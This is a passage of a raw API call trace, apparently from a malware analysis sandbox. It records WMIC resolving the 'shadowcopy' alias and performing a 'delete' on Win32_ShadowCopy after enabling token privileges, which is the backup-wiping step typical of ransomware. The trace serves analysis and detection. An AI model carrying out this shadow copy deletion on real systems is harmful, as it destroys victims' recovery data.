returned 0xb62078 [0067.593] malloc (_Size=0xc) returned 0xb620a8 [0067.593] WbemLocator:IWbemLocator:ConnectServer (in: This=0xb20828, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xd1c1e0 | out: ppNamespace=0xd1c1e0*=0xb2d00c) returned 0x0 [0067.701] free (_Block=0xb620a8) [0067.701] free (_Block=0xb62078) [0067.701] CoSetProxyBlanket (pProxy=0xb2d00c, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0067.701] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.701] GetCurrentThreadId () returned 0xee4 [0067.701] ??0CHString@@QAE@XZ () returned 0x12f50c [0067.701] malloc (_Size=0xc) returned 0xb62078 [0067.701] malloc (_Size=0xc) returned 0xb620a8 [0067.701] malloc (_Size=0xc) returned 0xb620c0 [0067.701] malloc (_Size=0xc) returned 0xb620d8 [0067.701] SysStringLen (param_1="root\\cli") returned 0x8 [0067.701] SysStringLen (param_1="\\") returned 0x1 [0067.701] malloc (_Size=0xc) returned 0xb620f0 [0067.701] SysStringLen (param_1="root\\cli\\") returned 0x9 [0067.701] SysStringLen (param_1="ms_409") returned 0x6 [0067.702] free (_Block=0xb620d8) [0067.702] free (_Block=0xb620c0) [0067.702] free (_Block=0xb620a8) [0067.702] free (_Block=0xb62078) [0067.702] malloc (_Size=0xc) returned 0xb62078 [0067.702] WbemLocator:IWbemLocator:ConnectServer (in: This=0xb20828, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xd1c1e4 | out: ppNamespace=0xd1c1e4*=0xb2d064) returned 0x0 [0067.720] free (_Block=0xb62078) [0067.720] free (_Block=0xb620f0) [0067.720] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.720] GetCurrentThreadId () returned 0xee4 [0067.720] ??0CHString@@QAE@XZ () returned 0x12f578 [0067.720] malloc (_Size=0xc) returned 0xb620f0 [0067.720] malloc (_Size=0xc) returned 0xb62078 [0067.721] malloc (_Size=0xc) returned 0xb620a8 [0067.721] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0067.721] malloc (_Size=0x3a) returned 0x64feb0 [0067.721] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xcd1f7c, cbMultiByte=-1, lpWideCharStr=0x64feb0, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0067.721] free (_Block=0x64feb0) [0067.721] malloc (_Size=0xc) returned 0xb620c0 [0067.721] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0067.721] SysStringLen (param_1="shadowcopy") returned 0xa [0067.721] malloc (_Size=0xc) returned 0xb620d8 [0067.721] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0067.721] SysStringLen (param_1="'") returned 0x1 [0067.721] free (_Block=0xb620c0) [0067.721] free (_Block=0xb620a8) [0067.721] free (_Block=0xb62078) [0067.721] free (_Block=0xb620f0) [0067.721] IWbemServices:GetObject (in: This=0xb2d00c, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x12f574*=0x0, ppCallResult=0x0 | out: ppObject=0x12f574*=0xb39a18, ppCallResult=0x0) returned 0x0 [0067.727] malloc (_Size=0xc) returned 0xb620f0 [0067.727] IWbemClassObject:Get (in: This=0xb39a18, wszName="Target", lFlags=0, pVal=0x12f534*(varType=0x0, wReserved1=0x12, wReserved2=0xe58c, wReserved3=0xd0, varVal1=0xffffffff, varVal2=0xcda03c), pType=0x0, plFlavor=0x0 | out: pVal=0x12f534*(varType=0x8, wReserved1=0x12, wReserved2=0xe58c, wReserved3=0xd0, varVal1="Select * from Win32_ShadowCopy", varVal2=0xcda03c), pType=0x0, plFlavor=0x0) returned 0x0 [0067.728] free (_Block=0xb620f0) [0067.728] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.728] malloc (_Size=0x3e) returned 0x64feb0 [0067.728] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.728] malloc (_Size=0xc) returned 0xb620f0 [0067.728] IWbemClassObject:Get (in: This=0xb39a18, wszName="PWhere", lFlags=0, pVal=0x12f534*(varType=0x0, wReserved1=0x12, wReserved2=0xe58c, wReserved3=0xd0, varVal1=0x434fec, varVal2=0xcda03c), pType=0x0, plFlavor=0x0 | out: pVal=0x12f534*(varType=0x8, wReserved1=0x12, wReserved2=0xe58c, wReserved3=0xd0, varVal1=" Where ID = '#'", varVal2=0xcda03c), pType=0x0, plFlavor=0x0) returned 0x0 [0067.728] free (_Block=0xb620f0) [0067.728] lstrlenW (lpString=" Where ID = '#'") returned 15 [0067.728] malloc (_Size=0x20) returned 0x64fef8 [0067.728] lstrlenW (lpString=" Where ID = '#'") returned 15 [0067.728] malloc (_Size=0xc) returned 0xb620f0 [0067.728] IWbemClassObject:Get (in: This=0xb39a18, wszName="Connection", lFlags=0, pVal=0x12f534*(varType=0x0, wReserved1=0x12, wReserved2=0xe58c, wReserved3=0xd0, varVal1=0x46483c, varVal2=0xcda03c), pType=0x0, plFlavor=0x0 | out: pVal=0x12f534*(varType=0xd, wReserved1=0x12, wReserved2=0xe58c, wReserved3=0xd0, varVal1=0xb39dd8, varVal2=0xcda03c), pType=0x0, plFlavor=0x0) returned 0x0 [0067.728] free (_Block=0xb620f0) [0067.728] IUnknown:QueryInterface (in: This=0xb39dd8, riid=0xcd6b50*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x12f56c | out: ppvObject=0x12f56c*=0xb39dd8) returned 0x0 [0067.728] GetCurrentThreadId () returned 0xee4 [0067.728] ??0CHString@@QAE@XZ () returned 0x12f4e8 [0067.728] malloc (_Size=0xc) returned 0xb620f0 [0067.728] IWbemClassObject:Get (in: This=0xb39dd8, wszName="Namespace", lFlags=0, pVal=0x12f4b8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0xb6, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x12f4b8*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0xb6, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.729] free (_Block=0xb620f0) [0067.729] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0067.729] malloc (_Size=0x16) returned 0x64ebc8 [0067.729] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0067.729] malloc (_Size=0xc) returned 0xb620f0 [0067.729] IWbemClassObject:Get (in: This=0xb39dd8, wszName="Locale", lFlags=0, pVal=0x12f4b8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0xb6, varVal1=0x476024, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x12f4b8*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0xb6, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.729] free (_Block=0xb620f0) [0067.729] lstrlenW (lpString="ms_409") returned 6 [0067.729] malloc (_Size=0xe) returned 0xb620f0 [0067.729] lstrlenW (lpString="ms_409") returned 6 [0067.729] malloc (_Size=0xc) returned 0xb62078 [0067.729] IWbemClassObject:Get (in: This=0xb39dd8, wszName="User", lFlags=0, pVal=0x12f4b8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0xb6, varVal1=0x476024, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x12f4b8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0xb6, varVal1=0x476024, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.729] free (_Block=0xb62078) [0067.729] malloc (_Size=0xc) returned 0xb62078 [0067.729] IWbemClassObject:Get (in: This=0xb39dd8, wszName="Password", lFlags=0, pVal=0x12f4b8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0xb6, varVal1=0x476024, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x12f4b8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0xb6, varVal1=0x476024, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.729] free (_Block=0xb62078) [0067.729] malloc (_Size=0xc) returned 0xb62078 [0067.729] IWbemClassObject:Get (in: This=0xb39dd8, wszName="Server", lFlags=0, pVal=0x12f4b8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0xb6, varVal1=0x476024, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x12f4b8*(varType=0x8, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0xb6, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.729] free (_Block=0xb62078) [0067.729] lstrlenW (lpString=".") returned 1 [0067.729] malloc (_Size=0x4) returned 0x64ff20 [0067.729] lstrlenW (lpString=".") returned 1 [0067.729] malloc (_Size=0xc) returned 0xb62078 [0067.730] IWbemClassObject:Get (in: This=0xb39dd8, wszName="Authority", lFlags=0, pVal=0x12f4b8*(varType=0x0, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0xb6, varVal1=0x476024, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x12f4b8*(varType=0x1, wReserved1=0x0, wReserved2=0x20f0, wReserved3=0xb6, varVal1=0x476024, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.730] free (_Block=0xb62078) [0067.730] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.730] IUnknown:Release (This=0xb39dd8) returned 0x1 [0067.730] GetCurrentThreadId () returned 0xee4 [0067.730] ??0CHString@@QAE@XZ () returned 0x12f4e0 [0067.730] malloc (_Size=0xc) returned 0xb62078 [0067.730] IWbemClassObject:Get (in: This=0xb39a18, wszName="__RELPATH", lFlags=0, pVal=0x12f4c0*(varType=0x0, wReserved1=0x74ba, wReserved2=0x0, wReserved3=0xb2, varVal1=0x0, varVal2=0xb39dd8), pType=0x0, plFlavor=0x0 | out: pVal=0x12f4c0*(varType=0x8, wReserved1=0x74ba, wReserved2=0x0, wReserved3=0xb2, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0xb39dd8), pType=0x0, plFlavor=0x0) returned 0x0 [0067.730] free (_Block=0xb62078) [0067.730] malloc (_Size=0xc) returned 0xb62078 [0067.730] GetCurrentThreadId () returned 0xee4 [0067.730] ??0CHString@@QAE@XZ () returned 0x12f470 [0067.730] ??0CHString@@QAE@PBG@Z () returned 0x12f45c [0067.730] ??0CHString@@QAE@ABV0@@Z () returned 0x12f3fc [0067.730] ?Empty@CHString@@QAEXXZ () returned 0x74c20510 [0067.730] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x64ff30 [0067.730] ?Find@CHString@@QBEHPBG@Z () returned 0x1b [0067.730] ?Left@CHString@@QBE?AV1@H@Z () returned 0x12f3dc [0067.730] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x12f3e0 [0067.730] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x12f45c [0067.730] ??1CHString@@QAE@XZ () returned 0x1 [0067.730] ??1CHString@@QAE@XZ () returned 0x1 [0067.730] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x12f3d8 [0067.730] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x12f3fc [0067.730] ??1CHString@@QAE@XZ () returned 0x1 [0067.730] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x64ff98 [0067.730] ?Find@CHString@@QBEHPBG@Z () returned 0xa [0067.730] ?Left@CHString@@QBE?AV1@H@Z () returned 0x12f3dc [0067.730] ??H@YG?AVCHString@@ABV0@PBG@Z () returned 0x12f3e0 [0067.731] ??YCHString@@QAEABV0@ABV0@@Z () returned 0x12f45c [0067.731] ??1CHString@@QAE@XZ () returned 0x1 [0067.731] ??1CHString@@QAE@XZ () returned 0x1 [0067.731] ?Mid@CHString@@QBE?AV1@H@Z () returned 0x12f3d8 [0067.731] ??4CHString@@QAEABV0@ABV0@@Z () returned 0x12f3fc [0067.731] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.731] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x74c20504 [0067.731] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.731] malloc (_Size=0xc) returned 0xb620a8 [0067.731] malloc (_Size=0xc) returned 0xb620c0 [0067.731] malloc (_Size=0xc) returned 0xb62108 [0067.731] malloc (_Size=0xc) returned 0xb62120 [0067.731] malloc (_Size=0xc) returned 0xb62138 [0067.731] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0067.731] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0067.731] malloc (_Size=0xc) returned 0xb62150 [0067.731] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0067.731] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0067.731] malloc (_Size=0xc) returned 0xb62168 [0067.731] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0067.731] SysStringLen (param_1="\"") returned 0x1 [0067.732] free (_Block=0xb62150) [0067.732] free (_Block=0xb62138) [0067.732] free (_Block=0xb62120) [0067.732] free (_Block=0xb62108) [0067.732] free (_Block=0xb620c0) [0067.732] free (_Block=0xb620a8) [0067.732] IWbemServices:GetObject (in: This=0xb2d064, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x12f478*=0x0, ppCallResult=0x0 | out: ppObject=0x12f478*=0xb39e68, ppCallResult=0x0) returned 0x0 [0067.733] malloc (_Size=0xc) returned 0xb620a8 [0067.733] IWbemClassObject:Get (in: This=0xb39e68, wszName="Text", lFlags=0, pVal=0x12f424*(varType=0x0, wReserved1=0x43, wReserved2=0x3954, wReserved3=0x43, varVal1=0x4e, varVal2=0xd1c1e0), pType=0x0, plFlavor=0x0 | out: pVal=0x12f424*(varType=0x2008, wReserved1=0x43, wReserved2=0x3954, wReserved3=0x43, varVal1=0x4584b8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x467100, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0xd1c1e0), pType=0x0, plFlavor=0x0) returned 0x0 [0067.733] free (_Block=0xb620a8) [0067.733] SafeArrayGetLBound (in: psa=0x4584b8, nDim=0x1, plLbound=0x12f43c | out: plLbound=0x12f43c) returned 0x0 [0067.733] SafeArrayGetUBound (in: psa=0x4584b8, nDim=0x1, plUbound=0x12f438 | out: plUbound=0x12f438) returned 0x0 [0067.733] SafeArrayGetElement (in: psa=0x4584b8, rgIndices=0x12f49c, pv=0x12f464 | out: pv=0x12f464) returned 0x0 [0067.733] malloc (_Size=0xc) returned 0xb620a8 [0067.733] malloc (_Size=0xc) returned 0xb620c0 [0067.733] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0067.733] free (_Block=0xb620a8) [0067.733] IUnknown:Release (This=0xb39e68) returned 0x0 [0067.734] free (_Block=0xb62168) [0067.734] ??1CHString@@QAE@XZ () returned 0x1 [0067.734] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.734] free (_Block=0xb62078) [0067.734] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.734] lstrlenW (lpString="Shadow copy management.") returned 23 [0067.734] malloc (_Size=0x30) returned 0x64ff30 [0067.734] lstrlenW (lpString="Shadow copy management.") returned 23 [0067.734] free (_Block=0xb620c0) [0067.734] IUnknown:Release (This=0xb39a18) returned 0x0 [0067.734] free (_Block=0xb620d8) [0067.734] ??1CHString@@QAE@XZ () returned 0x74c20504 [0067.734] lstrlenW (lpString="PATH") returned 4 [0067.734] lstrlenW (lpString="delete") returned 6 [0067.734] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0067.734] lstrlenW (lpString="WHERE") returned 5 [0067.734] lstrlenW (lpString="delete") returned 6 [0067.734] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0067.734] lstrlenW (lpString="(") returned 1 [0067.734] lstrlenW (lpString="delete") returned 6 [0067.734] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0067.734] lstrlenW (lpString="/") returned 1 [0067.734] lstrlenW (lpString="delete") returned 6 [0067.734] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0067.734] lstrlenW (lpString="-") returned 1 [0067.734] lstrlenW (lpString="delete") returned 6 [0067.734] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0067.734] malloc (_Size=0xc) returned 0xb620d8 [0067.735] lstrlenW (lpString="GET") returned 3 [0067.735] lstrlenW (lpString="delete") returned 6 [0067.735] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0067.735] lstrlenW (lpString="LIST") returned 4 [0067.735] lstrlenW (lpString="delete") returned 6 [0067.735] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0067.735] lstrlenW (lpString="SET") returned 3 [0067.735] lstrlenW (lpString="delete") returned 6 [0067.735] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0067.735] lstrlenW (lpString="CREATE") returned 6 [0067.735] lstrlenW (lpString="delete") returned 6 [0067.735] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0067.735] lstrlenW (lpString="CALL") returned 4 [0067.735] lstrlenW (lpString="delete") returned 6 [0067.735] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0067.735] lstrlenW (lpString="ASSOC") returned 5 [0067.735] lstrlenW (lpString="delete") returned 6 [0067.735] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0067.735] lstrlenW (lpString="DELETE") returned 6 [0067.735] lstrlenW (lpString="delete") returned 6 [0067.735] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0067.735] free (_Block=0xb620d8) [0067.735] lstrlenW (lpString="/") returned 1 [0067.735] lstrlenW (lpString="delete") returned 6 [0067.735] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0067.735] lstrlenW (lpString="-") returned 1 [0067.735] lstrlenW (lpString="delete") returned 6 [0067.735] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0067.735] lstrlenW (lpString="delete") returned 6 [0067.735] malloc (_Size=0xe) returned 0xb620d8 [0067.735] lstrlenW (lpString="delete") returned 6 [0067.735] lstrlenW (lpString="GET") returned 3 [0067.735] lstrlenW (lpString="delete") returned 6 [0067.735] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0067.736] lstrlenW (lpString="LIST") returned 4 [0067.736] lstrlenW (lpString="delete") returned 6 [0067.736] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0067.736] lstrlenW (lpString="SET") returned 3 [0067.736] lstrlenW (lpString="delete") returned 6 [0067.736] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0067.736] lstrlenW (lpString="CREATE") returned 6 [0067.736] lstrlenW (lpString="delete") returned 6 [0067.736] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0067.736] lstrlenW (lpString="CALL") returned 4 [0067.736] lstrlenW (lpString="delete") returned 6 [0067.736] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0067.736] lstrlenW (lpString="ASSOC") returned 5 [0067.736] lstrlenW (lpString="delete") returned 6 [0067.736] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0067.736] lstrlenW (lpString="DELETE") returned 6 [0067.736] lstrlenW (lpString="delete") returned 6 [0067.736] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0067.736] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.736] malloc (_Size=0x3e) returned 0x64ff68 [0067.736] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0067.736] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0x34b1e35 | out: _String="Select", _Context=0x34b1e35) returned="Select" [0067.736] malloc (_Size=0xc) returned 0xb620c0 [0067.736] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x34b1e35 | out: _String=0x0, _Context=0x34b1e35) returned="*" [0067.736] lstrlenW (lpString="FROM") returned 4 [0067.736] lstrlenW (lpString="*") returned 1 [0067.736] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0067.736] malloc (_Size=0xc) returned 0xb62078 [0067.737] free (_Block=0xb620c0) [0067.737] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x34b1e35 | out: _String=0x0, _Context=0x34b1e35) returned="from" [0067.737] lstrlenW (lpString="FROM") returned 4 [0067.737] lstrlenW (lpString="from") returned 4 [0067.737] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0067.737] malloc (_Size=0xc) returned 0xb620c0 [0067.737] free (_Block=0xb62078) [0067.737] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x34b1e35 | out: _String=0x0, _Context=0x34b1e35) returned="Win32_ShadowCopy" [0067.737] malloc (_Size=0xc) returned 0xb62078 [0067.737] free (_Block=0xb620c0) [0067.737] free (_Block=0x64ff68) [0067.737] free (_Block=0xb62078) [0067.737] lstrlenW (lpString="SET") returned 3 [0067.737] lstrlenW (lpString="delete") returned 6 [0067.737] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0067.737] lstrlenW (lpString="CREATE") returned 6 [0067.737] lstrlenW (lpString="delete") returned 6 [0067.737] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0067.737] free (_Block=0x643228) [0067.737] malloc (_Size=0x4) returned 0x643228 [0067.737] lstrlenW (lpString="GET") returned 3 [0067.737] lstrlenW (lpString="delete") returned 6 [0067.737] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0067.737] lstrlenW (lpString="LIST") returned 4 [0067.737] lstrlenW (lpString="delete") returned 6 [0067.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0067.738] lstrlenW (lpString="ASSOC") returned 5 [0067.738] lstrlenW (lpString="delete") returned 6 [0067.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0067.738] WbemLocator:IUnknown:AddRef (This=0xb20828) returned 0x3 [0067.738] free (_Block=0x642860) [0067.738] lstrlenW (lpString="") returned 0 [0067.738] lstrlenW (lpString="XDUWTFONO") returned 9 [0067.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0067.738] lstrlenW (lpString="XDUWTFONO") returned 9 [0067.738] malloc (_Size=0x14) returned 0x64ebe8 [0067.738] lstrlenW (lpString="XDUWTFONO") returned 9 [0067.738] GetCurrentThreadId () returned 0xee4 [0067.738] GetCurrentProcess () returned 0xffffffff [0067.738] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x12f5e0 | out: TokenHandle=0x12f5e0*=0x288) returned 1 [0067.738] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x12f5dc | out: TokenInformation=0x0, ReturnLength=0x12f5dc) returned 0 [0067.738] malloc (_Size=0x118) returned 0xb62448 [0067.738] GetTokenInformation (in: TokenHandle=0x288, TokenInformationClass=0x3, TokenInformation=0xb62448, TokenInformationLength=0x118, ReturnLength=0x12f5dc | out: TokenInformation=0xb62448, ReturnLength=0x12f5dc) returned 1 [0067.738] AdjustTokenPrivileges (in: TokenHandle=0x288, DisableAllPrivileges=0, NewState=0xb62448*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0067.738] free (_Block=0xb62448) [0067.738] CloseHandle (hObject=0x288) returned 1 [0067.738] lstrlenW (lpString="GET") returned 3 [0067.738] lstrlenW (lpString="delete") returned 6 [0067.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0067.738] lstrlenW (lpString="LIST") returned 4 [0067.738] lstrlenW (lpString="delete") returned 6 [0067.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0067.738] lstrlenW (lpString="SET") returned 3 [0067.738] lstrlenW (lpString="delete") returned 6 [0067.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0067.738] lstrlenW (lpString="CALL") returned 4 [0067.738] lstrlenW (lpString="delete") returned 6 [0067.738] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0067.739] lstrlenW (lpString="ASSOC") returned 5 [0067.739] lstrlenW (lpString="delete") returned 6 [0067.739] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0067.739] lstrlenW (lpString="CREATE") returned 6 [0067.739] lstrlenW (lpString="delete") returned 6 [0067.739] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", 